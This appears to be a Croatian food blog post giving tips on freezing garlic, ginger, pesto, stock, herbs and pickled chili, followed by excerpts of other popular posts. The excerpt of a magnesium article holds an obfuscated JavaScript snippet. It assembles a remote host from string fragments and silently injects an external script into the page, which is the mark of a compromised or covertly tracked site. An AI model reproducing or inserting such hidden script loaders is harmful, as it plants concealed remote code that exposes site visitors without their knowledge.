6 STVARI KOJE TREBATE IMATI U ZAMRZIVAČU





6 stvari koje trebate imati u zamrzivaču




Želite li produljiti trajanje neke namirnice i smanjiti količinu hrane koju bacate jer je niste stigli pojesti na vrijeme – stavite je u zamrzivač.




Kockice češnjaka

Svježi češnjak ima najbolji okus, ali ako nemate vremena za guljenje i sjeckanje baš svaki put kad pripremate jelo, poslužite se malim trikom. Unaprijed ogulite sav raspoloživi češnjak, nasjeckajte i stavite u posudu za led pa stavite u zamrzivač. Kad trebate napraviti umak, varivo ili koje drugo slano jelo, izvadite smrznutu kocku nasjeckanog češnjaka i uštedite si dragocjeno vrijeme u kuhinji.



Komad đumbira

Đumbir će poboljšati okus različitim curryjima, stir fryevima i drugim sličnim jelima. Dodati ga možete i u napitke ili deserte. Najlakše je kupiti svježi đumbir i staviti ga u zamrzivač, a po potrebi ga izvaditi i još smrznutog naribati u jelo koje pripremate.



Pesto

U posudama za led možete zamrznuti i domaće pripremljeni pesto od svježih listića aromatičnog bosiljka, sira, pinjola, češnjaka i maslinova ulja. Napravite veće količine, smrznite ih i iskoristite po potrebi. Kocku smrznutog pesta možete dodati u jela na žlicu i razne umake kako biste im podarili dodatnu dozu slasti i okusa.



Temeljac

Temeljac je najbrži i najlakši način da poboljšate okus jela koji pripremate – dodati ga možete u juha, variva i gulaše, na “njemu” možete skuhati rižu, kvinoju ili čak palentu. Dobro je poznato na da najbolji okus ima svježe pripremljeni temeljac koji ste sami skuhali od mesnih i/ili ribljih kostiju te različitog povrća. Predlažemo vam da skuhate veće količine, ohladite temeljac, a potom ga smrznete i upotrijebite po potrebi.



Začinsko bilje

Svježe začinsko bilje poput bosiljka, korijandera ili peršina ima dosta kratak rok trajanja. Da biste spriječili njegovo kvarenje, ima vrlo kratak rok trajanja. Ako nemate naviku često - i obilno – dodavati svježe začine jelima, najbolje bi ih bilo zamrznuti. Operite začine, na sitno ih nasjeckajte i prelijte maslinovim uljem, pa tako ostavite u posudu za zamrzavanje jela.



Čili papričice i ocat

Čili papričice konzervirane u octu imaju duži vijek trajanja, a ono se dodatno produžuje ako ih zamrznite u ovoj kombinaciji. Ta pikanta ljutkasto-kiselkasta kombinacija poboljšat će okuse brojnih variva, juha i umaka.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više